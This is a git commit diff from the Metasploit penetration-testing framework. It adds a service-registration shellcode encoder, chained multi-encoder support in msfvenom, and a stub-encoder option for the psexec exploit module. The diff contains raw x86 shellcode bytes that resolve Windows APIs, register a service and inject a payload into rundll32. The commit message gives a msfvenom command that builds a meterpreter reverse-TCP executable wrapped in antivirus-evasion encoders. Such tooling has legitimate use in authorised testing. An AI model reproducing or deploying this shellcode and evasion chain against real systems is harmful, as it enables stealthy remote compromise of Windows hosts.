Move service stub in x86 encoder to be easily used.
Add psexec option SERCVICE_STUB_ENCODER to allow a list of encoder to encode the x86/service stub. Add multiple_encode_payload function in payload_generator.rb to accept a list of encoder (beginning with @ to not break the classic parsing of encoder). With this it would be possible to pass multiple encoder to msfvenom in one execution. ./msfvenom -p windows/meterpreter/reverse_tcp LPORT=80 LHOST=192.168.100.11 -e @x86/shikata_ga_nai,x86/misc_anti_emu:5,x86/shikata_ga_nai -x template.exe -f exe-only -o meterpreter.exebug/bundler_fix
parent
bbaa3ad9f9
commit
378208bc3d
|
@ -205,6 +205,19 @@ module Msf
|
|||
chosen_platform
|
||||
end
|
||||
|
||||
def multiple_encode_payload(shellcode)
|
||||
encoder_str = encoder[1..-1]
|
||||
encoder_str.scan(/([^:, ]+):?([^,]+)?/).map do |encoder_opt|
|
||||
@iterations = (encoder_opt[1] || 1).to_i
|
||||
@iterations = 1 if iterations < 1
|
||||
|
||||
encoder_mod = framework.encoders.create(encoder_opt[0])
|
||||
encoder_mod.datastore.import_options_from_hash(datastore)
|
||||
shellcode = run_encoder(encoder_mod, shellcode)
|
||||
end
|
||||
shellcode
|
||||
end
|
||||
|
||||
# This method takes the shellcode generated so far and iterates through
|
||||
# the chosen or compatible encoders. It attempts to encode the payload
|
||||
# with each encoder until it finds one that works.
|
||||
|
@ -327,7 +340,11 @@ module Msf
|
|||
else
|
||||
raw_payload = generate_raw_payload
|
||||
raw_payload = add_shellcode(raw_payload)
|
||||
encoded_payload = encode_payload(raw_payload)
|
||||
if encoder.start_with?("@")
|
||||
encoded_payload = multiple_encode_payload(raw_payload)
|
||||
else
|
||||
encoded_payload = encode_payload(raw_payload)
|
||||
end
|
||||
encoded_payload = prepend_nops(encoded_payload)
|
||||
cli_print "Payload size: #{encoded_payload.length} bytes"
|
||||
gen_payload = format_payload(encoded_payload)
|
||||
|
|
|
@ -2,12 +2,12 @@
|
|||
|
||||
module Msf
|
||||
module Util
|
||||
|
||||
#
|
||||
# The class provides methods for creating and encoding executable file
|
||||
# formats for various platforms. It is a replacement for the previous
|
||||
# code in Rex::Text
|
||||
#
|
||||
|
||||
class EXE
|
||||
|
||||
require 'rex'
|
||||
|
@ -50,7 +50,6 @@ require 'msf/core/exe/segment_appender'
|
|||
|
||||
# Check if it exists now
|
||||
return if File.file?(opts[:template])
|
||||
|
||||
# If it failed, try the default...
|
||||
if opts[:fallback]
|
||||
default_template = File.join(path, exe)
|
||||
|
@ -602,67 +601,15 @@ require 'msf/core/exe/segment_appender'
|
|||
opts[:exe_type] = :service_exe
|
||||
return exe_sub_method(code,opts)
|
||||
else
|
||||
name = opts[:servicename]
|
||||
name ||= Rex::Text.rand_text_alpha(8)
|
||||
pushed_service_name = string_to_pushes(name)
|
||||
ENV['MSF_SERVICENAME'] = opts[:servicename]
|
||||
|
||||
precode_size = 0xc6
|
||||
svcmain_code_offset = precode_size + pushed_service_name.length
|
||||
opts[:framework] = framework
|
||||
opts[:payload] = 'stdin'
|
||||
opts[:encoder] = '@x86/service,'+opts[:serviceencoder]
|
||||
|
||||
precode_size = 0xcc
|
||||
hash_code_offset = precode_size + pushed_service_name.length
|
||||
|
||||
precode_size = 0xbf
|
||||
svcctrlhandler_code_offset = precode_size + pushed_service_name.length
|
||||
|
||||
code_service_stopped =
|
||||
"\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" +
|
||||
"#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" +
|
||||
"\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" +
|
||||
"\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +
|
||||
"\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
|
||||
|
||||
precode_size = 0x42
|
||||
shellcode_code_offset = code_service_stopped.length + precode_size
|
||||
|
||||
# code_service could be encoded in the future
|
||||
code_service =
|
||||
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
|
||||
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
|
||||
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
|
||||
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
|
||||
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
|
||||
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
|
||||
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
|
||||
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
|
||||
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
|
||||
"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
|
||||
"\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" +
|
||||
"\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
|
||||
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
|
||||
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
|
||||
"#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" +
|
||||
"\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
|
||||
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
|
||||
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
|
||||
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
|
||||
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
|
||||
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
|
||||
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
|
||||
"\x40\x68\x00\x10\x00\x00\x68#{[code.length].pack('I<')}\x57\x51\x68\xAE\x87" +
|
||||
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
|
||||
"#{[shellcode_code_offset].pack('I<')}\x54\x68#{[code.length].pack('I<')}" +
|
||||
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
|
||||
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
|
||||
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
|
||||
"\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}"
|
||||
|
||||
# Append a new section to the template
|
||||
Msf::Exe::SegmentAppender.new({
|
||||
:payload => code_service + code,
|
||||
:template => opts[:template],
|
||||
:arch => :x86
|
||||
}).generate_pe
|
||||
venom_generator = Msf::PayloadGenerator.new(opts)
|
||||
code_service = venom_generator.multiple_encode_payload(code)
|
||||
return to_winpe_only(framework, code_service, opts)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,128 @@
|
|||
require 'metasm'
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Encoder
|
||||
|
||||
Rank = ManualRanking
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Register service',
|
||||
'Version' => '$Revision: 14774 $',
|
||||
'Description' => 'Register service if used with psexec for example',
|
||||
'Author' => 'agix',
|
||||
'Arch' => ARCH_X86,
|
||||
'License' => MSF_LICENSE,
|
||||
'EncoderType' => Msf::Encoder::Type::Raw
|
||||
)
|
||||
end
|
||||
|
||||
@@cpu32 = Metasm::Ia32.new
|
||||
def assemble(src, cpu=@@cpu32)
|
||||
Metasm::Shellcode.assemble(cpu, src).encode_string
|
||||
end
|
||||
|
||||
def can_preserve_registers?
|
||||
true
|
||||
end
|
||||
|
||||
def modified_registers
|
||||
[]
|
||||
end
|
||||
|
||||
def preserves_stack?
|
||||
true
|
||||
end
|
||||
|
||||
def string_to_pushes(string)
|
||||
str = string.dup
|
||||
# Align string to 4 bytes
|
||||
rem = (str.length) % 4
|
||||
if rem > 0
|
||||
str << "\x00" * (4 - rem)
|
||||
pushes = ''
|
||||
else
|
||||
pushes = "h\x00\x00\x00\x00"
|
||||
end
|
||||
# string is now 4 bytes aligned with null byte
|
||||
|
||||
# push string to stack, starting at the back
|
||||
while str.length > 0
|
||||
four = 'h'+str.slice!(-4,4)
|
||||
pushes << four
|
||||
end
|
||||
|
||||
pushes
|
||||
end
|
||||
|
||||
def encode_block(state, block)
|
||||
nb_iter = rand(0x2fffffff)+0xfffffff
|
||||
|
||||
push_registers = ''
|
||||
pop_registers = ''
|
||||
if datastore['SaveRegisters']
|
||||
datastore['SaveRegisters'].split(" ").each { |reg|
|
||||
push_registers += assemble("push %s"%reg)
|
||||
pop_registers = assemble("pop %s"%reg) + pop_registers
|
||||
}
|
||||
end
|
||||
|
||||
name = ENV['MSF_SERVICENAME']
|
||||
name ||= Rex::Text.rand_text_alpha(8)
|
||||
pushed_service_name = string_to_pushes(name)
|
||||
|
||||
precode_size = 0xc6
|
||||
svcmain_code_offset = precode_size + pushed_service_name.length
|
||||
|
||||
precode_size = 0xcc
|
||||
hash_code_offset = precode_size + pushed_service_name.length
|
||||
|
||||
precode_size = 0xbf
|
||||
svcctrlhandler_code_offset = precode_size + pushed_service_name.length
|
||||
|
||||
code_service_stopped =
|
||||
"\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" +
|
||||
"#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" +
|
||||
"\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" +
|
||||
"\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +
|
||||
"\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
|
||||
|
||||
precode_size = 0x42
|
||||
shellcode_code_offset = code_service_stopped.length + precode_size
|
||||
|
||||
# code_service could be encoded in the future
|
||||
code_service =
|
||||
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
|
||||
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
|
||||
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
|
||||
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
|
||||
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
|
||||
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
|
||||
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
|
||||
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
|
||||
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
|
||||
"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
|
||||
"\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" +
|
||||
"\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
|
||||
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
|
||||
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
|
||||
"#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" +
|
||||
"\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
|
||||
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
|
||||
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
|
||||
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
|
||||
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
|
||||
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
|
||||
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
|
||||
"\x40\x68\x00\x10\x00\x00\x68#{[block.length].pack('I<')}\x57\x51\x68\xAE\x87" +
|
||||
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
|
||||
"#{[shellcode_code_offset].pack('I<')}\x54\x68#{[block.length].pack('I<')}" +
|
||||
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
|
||||
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
|
||||
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
|
||||
"\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}"
|
||||
|
||||
return push_registers + code_service + pop_registers + block
|
||||
end
|
||||
|
||||
end
|
|
@ -85,7 +85,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
[
|
||||
OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
|
||||
OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
|
||||
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'])
|
||||
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
|
||||
OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -182,6 +183,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
def native_upload
|
||||
filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
|
||||
servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
|
||||
serviceencoder = datastore['SERVICE_STUB_ENCODER'] || ''
|
||||
|
||||
# Upload the shellcode to a file
|
||||
print_status("Uploading payload...")
|
||||
|
@ -203,7 +205,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
fd = smb_open("\\#{filename}", 'rwct')
|
||||
end
|
||||
exe = ''
|
||||
opts = { :servicename => servicename }
|
||||
opts = { :servicename => servicename, :serviceencoder => serviceencoder}
|
||||
begin
|
||||
exe = generate_payload_exe_service(opts)
|
||||
|
||||
|
|
|
@ -44,5 +44,5 @@ end
|
|||
# @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/generators/rails/app/templates/script/rails#L3-L5
|
||||
require Pathname.new(__FILE__).realpath.expand_path.parent.join('config', 'boot')
|
||||
require 'metasploit/framework/command/console'
|
||||
|
||||
require 'msf/core/payload_generator'
|
||||
Metasploit::Framework::Command::Console.start
|
||||
|
|
Loading…
Reference in New Issue